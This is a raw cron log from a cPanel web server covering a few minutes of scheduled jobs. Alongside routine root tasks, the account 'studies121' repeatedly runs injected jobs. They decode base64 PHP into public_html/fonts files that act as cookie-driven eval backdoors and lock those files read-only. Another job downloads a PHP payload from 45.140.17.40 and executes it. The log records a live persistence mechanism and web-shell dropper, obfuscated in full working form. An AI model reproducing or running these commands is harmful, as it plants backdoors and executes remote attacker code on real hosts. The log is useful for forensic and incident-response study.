Sep 12 04:17:01 ip-184-168-122-23 CROND[24058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:18:01 ip-184-168-122-23 CROND[24151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:18:01 ip-184-168-122-23 CROND[24155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:18:01 ip-184-168-122-23 CROND[24154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:18:01 ip-184-168-122-23 CROND[24156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:18:02 ip-184-168-122-23 CROND[24162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:19:01 ip-184-168-122-23 CROND[24324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:19:01 ip-184-168-122-23 CROND[24323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:19:01 ip-184-168-122-23 CROND[24325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:19:01 ip-184-168-122-23 CROND[24326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:20:01 ip-184-168-122-23 CROND[24439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:20:01 ip-184-168-122-23 CROND[24442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:20:01 ip-184-168-122-23 CROND[24444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:20:01 ip-184-168-122-23 CROND[24445]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 04:20:01 ip-184-168-122-23 CROND[24443]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:20:01 ip-184-168-122-23 CROND[24441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:20:01 ip-184-168-122-23 CROND[24448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:20:01 ip-184-168-122-23 CROND[24446]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:20:01 ip-184-168-122-23 CROND[24452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:21:01 ip-184-168-122-23 CROND[24593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:21:01 ip-184-168-122-23 CROND[24596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:21:01 ip-184-168-122-23 CROND[24601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:21:01 ip-184-168-122-23 CROND[24603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:22:01 ip-184-168-122-23 CROND[24707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:22:01 ip-184-168-122-23 CROND[24709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:22:01 ip-184-168-122-23 CROND[24712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:22:01 ip-184-168-122-23 CROND[24710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:22:01 ip-184-168-122-23 CROND[24711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:23:01 ip-184-168-122-23 CROND[24822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:23:01 ip-184-168-122-23 CROND[24821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:23:01 ip-184-168-122-23 CROND[24823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:23:01 ip-184-168-122-23 CROND[24824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:24:01 ip-184-168-122-23 CROND[24923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:24:01 ip-184-168-122-23 CROND[24924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:24:01 ip-184-168-122-23 CROND[24926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:24:01 ip-184-168-122-23 CROND[24925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:24:01 ip-184-168-122-23 CROND[24927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:25:01 ip-184-168-122-23 CROND[25117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:25:01 ip-184-168-122-23 CROND[25120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:25:01 ip-184-168-122-23 CROND[25119]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 04:25:01 ip-184-168-122-23 CROND[25121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:25:01 ip-184-168-122-23 CROND[25124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:25:01 ip-184-168-122-23 CROND[25123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:25:01 ip-184-168-122-23 CROND[25125]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:26:01 ip-184-168-122-23 CROND[25218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:26:01 ip-184-168-122-23 CROND[25220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:26:01 ip-184-168-122-23 CROND[25222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:26:01 ip-184-168-122-23 CROND[25221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:26:01 ip-184-168-122-23 CROND[25223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:27:01 ip-184-168-122-23 CROND[25309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:27:01 ip-184-168-122-23 CROND[25308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:27:01 ip-184-168-122-23 CROND[25310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:27:01 ip-184-168-122-23 CROND[25311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:28:01 ip-184-168-122-23 CROND[25408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:28:01 ip-184-168-122-23 CROND[25413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:28:01 ip-184-168-122-23 CROND[25411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:28:01 ip-184-168-122-23 CROND[25412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:28:01 ip-184-168-122-23 CROND[25410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:29:01 ip-184-168-122-23 CROND[25507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:29:01 ip-184-168-122-23 CROND[25510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:29:01 ip-184-168-122-23 CROND[25508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:29:01 ip-184-168-122-23 CROND[25509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:30:01 ip-184-168-122-23 CROND[25718]: (root) CMD (/usr/lib64/sa/sa1 1 1)
